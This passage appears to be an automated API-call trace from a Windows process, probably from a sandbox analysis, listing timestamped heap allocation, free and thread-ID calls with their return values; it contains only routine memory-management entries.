[0073.500] GetLastError () returned 0x0 [0073.500] GetLastError () returned 0x0 [0073.500] GetLastError () returned 0x0 [0073.500] GetLastError () returned 0x0 [0073.500] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0073.500] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b08 [0073.500] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.500] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0073.501] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0450, Size=0xd8) returned 0x2acaf30 [0073.501] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17b08 | out: hHeap=0x2ad0000) returned 1 [0073.501] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8a8 | out: hHeap=0x2ad0000) returned 1 [0073.501] GetCurrentThreadId () returned 0x9b0 [0073.501] GetCurrentThreadId () returned 0x9b0 [0073.501] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acaf30, Size=0x10c) returned 0x2acea78 [0073.501] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.501] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19578 [0073.501] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b010 [0073.501] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a199d8 [0073.501] GetCurrentThreadId () returned 0x9b0 [0073.501] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b010 | out: hHeap=0x2ad0000) returned 1 [0073.501] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0073.501] GetCurrentThreadId () returned 0x9b0 [0073.501] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a18 [0073.501] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a48 [0073.501] GetCurrentThreadId () returned 0x9b0 [0073.501] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.501] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a199d8 | out: hHeap=0x2ad0000) returned 1 [0073.501] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a18 | out: hHeap=0x2ad0000) returned 1 [0073.501] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a48 | out: hHeap=0x2ad0000) returned 1 [0073.501] GetCurrentThreadId () returned 0x9b0 [0073.501] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acea78, Size=0x148) returned 0x2acea78 [0073.501] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0073.501] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19508 [0073.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af50 [0073.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19738 [0073.502] GetCurrentThreadId () returned 0x9b0 [0073.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af50 | out: hHeap=0x2ad0000) returned 1 [0073.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0073.502] GetCurrentThreadId () returned 0x9b0 [0073.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a20258 [0073.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19738 | out: hHeap=0x2ad0000) returned 1 [0073.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afa0 [0073.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a200a8 [0073.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afa0 | out: hHeap=0x2ad0000) returned 1 [0073.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0073.502] GetCurrentThreadId () returned 0x9b0 [0073.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17ad8 [0073.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17ad8 | out: hHeap=0x2ad0000) returned 1 [0073.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2acc480 [0073.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acc480 | out: hHeap=0x2ad0000) returned 1 [0073.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.502] GetLastError () returned 0x0 [0073.502] GetLastError () returned 0x0 [0073.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a48 [0073.502] GetLastError () returned 0x0 [0073.502] GetLastError () returned 0x0 [0073.502] GetLastError () returned 0x0 [0073.502] GetLastError () returned 0x0 [0073.502] GetLastError () returned 0x0 [0073.502] GetLastError () returned 0x0 [0073.503] GetLastError () returned 0x0 [0073.503] GetLastError () returned 0x0 [0073.503] GetLastError () returned 0x0 [0073.503] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17a48, Size=0x20) returned 0x2a1fb00 [0073.503] GetLastError () returned 0x0 [0073.503] GetLastError () returned 0x0 [0073.503] GetLastError () returned 0x0 [0073.503] GetLastError () returned 0x0 [0073.503] GetLastError () returned 0x0 [0073.503] GetLastError () returned 0x0 [0073.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17958 [0073.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0073.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200a8 | out: hHeap=0x2ad0000) returned 1 [0073.503] GetCurrentThreadId () returned 0x9b0 [0073.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17958 | out: hHeap=0x2ad0000) returned 1 [0073.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb00 | out: hHeap=0x2ad0000) returned 1 [0073.503] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acea78, Size=0x18c) returned 0x2acc480 [0073.503] GetCurrentThreadId () returned 0x9b0 [0073.503] GetCurrentThreadId () returned 0x9b0 [0073.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a30 | out: hHeap=0x2ad0000) returned 1 [0073.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af80 [0073.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71720 [0073.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af80 | out: hHeap=0x2ad0000) returned 1 [0073.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b38 [0073.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17b38 | out: hHeap=0x2ad0000) returned 1 [0073.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18370 | out: hHeap=0x2ad0000) returned 1 [0073.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18358 | out: hHeap=0x2ad0000) returned 1 [0073.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18328 | out: hHeap=0x2ad0000) returned 1 [0073.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182c8 | out: hHeap=0x2ad0000) returned 1 [0073.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18340 | out: hHeap=0x2ad0000) returned 1 [0073.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18388 | out: hHeap=0x2ad0000) returned 1 [0073.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182f8 | out: hHeap=0x2ad0000) returned 1 [0073.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182e0 | out: hHeap=0x2ad0000) returned 1 [0073.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18310 | out: hHeap=0x2ad0000) returned 1 [0073.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0f258 | out: hHeap=0x2ad0000) returned 1 [0073.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0073.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acc480 | out: hHeap=0x2ad0000) returned 1 [0073.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0d850 | out: hHeap=0x2ad0000) returned 1 [0073.504] GetCurrentThreadId () returned 0x9b0 [0073.504] GetCurrentThreadId () returned 0x9b0 [0073.504] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0073.504] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.504] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0073.504] GetCurrentThreadId () returned 0x9b0 [0073.504] GetCurrentThreadId () returned 0x9b0 [0073.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0073.504] GetCurrentThreadId () returned 0x9b0 [0073.505] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0f0d0 [0073.505] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c152d0 [0073.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0f0d0 | out: hHeap=0x2ad0000) returned 1 [0073.505] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2c17c40 [0073.505] GetCurrentThreadId () returned 0x9b0 [0073.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0073.505] GetCurrentThreadId () returned 0x9b0 [0073.505] GetCurrentThreadId () returned 0x9b0 [0073.505] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0ec38 [0073.505] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0e7a0 [0073.505] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.505] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.505] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.505] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b160 [0073.505] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0073.505] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b160, Size=0x14) returned 0x2a71620 [0073.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0073.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0ec38 | out: hHeap=0x2ad0000) returned 1 [0073.506] GetCurrentThreadId () returned 0x9b0 [0073.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb9598 | out: hHeap=0x2ad0000) returned 1 [0073.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.506] GetCurrentThreadId () returned 0x9b0 [0073.506] GetCurrentThreadId () returned 0x9b0 [0073.506] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.506] GetCurrentThreadId () returned 0x9b0 [0073.506] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a20168 [0073.506] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b160 [0073.506] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71580 [0073.506] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.506] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.506] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af50 [0073.506] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b100, Size=0x14) returned 0x2a71840 [0073.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af50 | out: hHeap=0x2ad0000) returned 1 [0073.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0073.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.506] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.506] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a718c0 [0073.506] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.506] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b160 [0073.506] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af20 [0073.507] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b160, Size=0x14) returned 0x2a71620 [0073.507] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af20 | out: hHeap=0x2ad0000) returned 1 [0073.507] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.507] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718c0 | out: hHeap=0x2ad0000) returned 1 [0073.507] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.507] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c134a8 [0073.507] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab9e20 | out: hHeap=0x2ad0000) returned 1 [0073.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6c) returned 0x2ba4a58 [0073.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xf0) returned 0x2acaf30 [0073.507] GetCurrentThreadId () returned 0x9b0 [0073.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9c) returned 0x2acea78 [0073.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3c) returned 0x2a18d88 [0073.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x84) returned 0x2aceb20 [0073.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2c17f48 [0073.507] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c134a8 | out: hHeap=0x2ad0000) returned 1 [0073.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a20048 [0073.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0e180 [0073.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4c) returned 0x2acebb0 [0073.507] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acebb0 | out: hHeap=0x2ad0000) returned 1 [0073.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x354) returned 0x2c19750 [0073.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0e490 [0073.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c158d8 [0073.507] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0e490 | out: hHeap=0x2ad0000) returned 1 [0073.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b160 [0073.508] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.508] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.508] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.508] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afb0 [0073.508] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b100, Size=0x14) returned 0x2a71620 [0073.508] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afb0 | out: hHeap=0x2ad0000) returned 1 [0073.508] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.508] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.508] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.508] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.508] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0e180 | out: hHeap=0x2ad0000) returned 1 [0073.508] GetCurrentThreadId () returned 0x9b0 [0073.508] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b160 [0073.508] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x400) returned 0x2c19ab0 [0073.508] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.508] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x400) returned 0x2c19eb8 [0073.508] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8a8 [0073.508] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8a8 | out: hHeap=0x2ad0000) returned 1 [0073.508] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.508] GetCurrentThreadId () returned 0x9b0 [0073.508] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.508] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.508] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.508] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f858 [0073.508] GetCurrentThreadId () returned 0x9b0 [0073.508] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0073.509] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.509] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.509] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8a8 [0073.509] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8a8 | out: hHeap=0x2ad0000) returned 1 [0073.509] GetCurrentThreadId () returned 0x9b0 [0073.509] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f858 [0073.509] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0073.509] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.509] GetCurrentThreadId () returned 0x9b0 [0073.509] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.509] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fbf0 [0073.509] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbf0 | out: hHeap=0x2ad0000) returned 1 [0073.509] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0073.509] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0073.509] GetCurrentThreadId () returned 0x9b0 [0073.509] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fad8 [0073.509] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fad8 | out: hHeap=0x2ad0000) returned 1 [0073.509] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f948 [0073.509] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f948 | out: hHeap=0x2ad0000) returned 1 [0073.509] GetCurrentThreadId () returned 0x9b0 [0073.509] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fba0 [0073.509] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fba0 | out: hHeap=0x2ad0000) returned 1 [0073.509] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fbf0 [0073.509] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbf0 | out: hHeap=0x2ad0000) returned 1 [0073.509] GetCurrentThreadId () returned 0x9b0 [0073.509] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0073.509] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0073.509] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8a8 [0073.510] GetCurrentThreadId () returned 0x9b0 [0073.510] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8a8 | out: hHeap=0x2ad0000) returned 1 [0073.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.510] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.510] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.510] GetCurrentThreadId () returned 0x9b0 [0073.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8f8 [0073.510] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8f8 | out: hHeap=0x2ad0000) returned 1 [0073.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fad8 [0073.510] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fad8 | out: hHeap=0x2ad0000) returned 1 [0073.510] GetCurrentThreadId () returned 0x9b0 [0073.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fa10 [0073.510] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa10 | out: hHeap=0x2ad0000) returned 1 [0073.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f920 [0073.510] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0073.510] GetCurrentThreadId () returned 0x9b0 [0073.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8a8 [0073.510] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8a8 | out: hHeap=0x2ad0000) returned 1 [0073.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.510] GetCurrentThreadId () returned 0x9b0 [0073.510] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fad8 [0073.510] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fad8 | out: hHeap=0x2ad0000) returned 1 [0073.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8f8 [0073.510] HeapFree (in: 